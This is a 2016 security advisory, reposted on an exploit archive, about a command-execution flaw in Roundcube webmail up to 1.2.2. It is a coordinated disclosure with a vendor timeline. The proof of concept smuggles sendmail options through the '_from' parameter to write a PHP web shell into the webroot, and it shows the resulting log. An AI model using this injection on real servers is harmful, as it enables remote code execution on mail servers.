Author

Robin Peraglie

Risk

[

Security Risk Critical

]

0day-ID

0day-ID-26500

Category

web applications

Date add

10-12-2016

Platform

php

Roundcube 1.2.2: Command Execution via Email
============================================
You can find the online version of the advisory here:
https://blog.ripstech.com/2016/roundcube-command-execution-via-email/
 
Found by Robin Peraglie with RIPS
 
Introduction
------------
Roundcube is a widely distributed open-source webmail software used by
many organizations and companies around the globe. The mirror on
SourceForge, for example, counts more than 260,000 downloads in the last
12 months which is only a small fraction of the actual users. Once
Roundcube is installed on a server, it provides a web interface for
authenticated users to send and receive emails with their web browser.
 
Affected Versions: 1.0.0 - 1.2.2
 
Requirements
------------
- Roundcube must be configured to use PHP's mail() function (by default)
- PHP's mail() function is configured to use sendmail (by default)
- PHP is configured to have safe_mode turned off (by default)
- An attacker must know or guess the absolute path of the webroot
 
Description
-----------
In Roundcube 1.2.2, and earlier, user-controlled input flows unsanitized
into the fifth argument of a call to PHP's built-in function mail()
which is documented as security critical. The problem is that the
invocation of the mail() function will cause PHP to execute the sendmail
program. The fifth argument allows to pass arguments to this execution
which allows a configuration of sendmail. Since sendmail offers the -X
option to log all mail traffic in a file, an attacker can abuse this
option and spawn a malicious PHP file in the webroot directory of the
attacked server. The following code lines trigger the vulnerability.
 
program/steps/mail/sendmail.inc
********************************************************************************
$from = rcube_utils::get_input_value('_from', rcube_utils::INPUT_POST,
true, $message_charset);
⋮   
$sent = $RCMAIL->deliver_message($MAIL_MIME, $from, $mailto,$smtp_error,
$mailbody_file, $smtp_opts);
********************************************************************************
 
Here, the value of the POST parameter "_from" is fetched and Roundcube's
deliver_message() method is invoked with the value used as second
argument $from.
 
program/lib/Roundcube/rcube.php
********************************************************************************
public function deliver_message(&$message, $from, $mailto, &$error,
&$body_file = null, $options = null) {
    ⋮
    if (filter_var(ini_get('safe_mode'), FILTER_VALIDATE_BOOLEAN))
        $sent = mail($to, $subject, $msg_body, $header_str);
    else
        $sent = mail($to, $subject, $msg_body, $header_str, "-f$from");
********************************************************************************
 
This method will then pass the $from parameter to a call of the mail()
function. The idea is to pass a custom "from" header to the sendmail
program via the "-f" option.
 
Proof of Concept
----------------
When an email is sent with Roundcube, the HTTP request can be
intercepted and altered. Here, the "_from" parameter can be modified in
order to place a malicious PHP file on the system.
 
********************************************************************************
example@example.com -OQueueDirectory=/tmp -X/var/www/html/rce.php
********************************************************************************
 
This allows an attacker to spawn a shell file "rce.php" in the web root
directory with the contents of the "_subject" parameter that can contain
PHP code. After performing the request, a file with the following
content is created:
 
********************************************************************************
04731 >>> Recipient names must be specified
04731 <<< To: squinty@localhost
04731 <<< Subject: <?php phpinfo(); ?>
04731 <<< X-PHP-Originating-Script: 1000:rcube.php
04731 <<< MIME-Version: 1.0
04731 <<< Content-Type: text/plain; charset=US-ASCII;
04731 <<<  format=flowed
04731 <<< Content-Transfer-Encoding: 7bit
04731 <<< Date: So, 20 Nov 2016 04:02:52 +0100
04731 <<< From: example@example.com -OQueueDirectory=/tmp
04731 <<<  -X/var/www/html/rce.php
04731 <<< Message-ID: <390a0c6379024872a7f0310cdea24900@localhost>
04731 <<< X-Sender: example@example.com -OQueueDirectory=/tmp
04731 <<<  -X/var/www/html/rce.php
04731 <<< User-Agent: Roundcube Webmail/1.2.2
04731 <<<
04731 <<< Funny e-mail message
04731 <<< [EOF]
********************************************************************************
 
Since the email data is unencoded, the subject parameter will be
reflected in plaintext which allows the injection of PHP tags into the
shell file.
 
Time Line
---------
* 2016/11/21: First contact with vendor
* 2016/11/28: Vendor agrees to coordinated disclosure
* 2016/11/28: Vendor releases updated version Roundcube 1.2.3

#  0day.today [2024-11-15]  #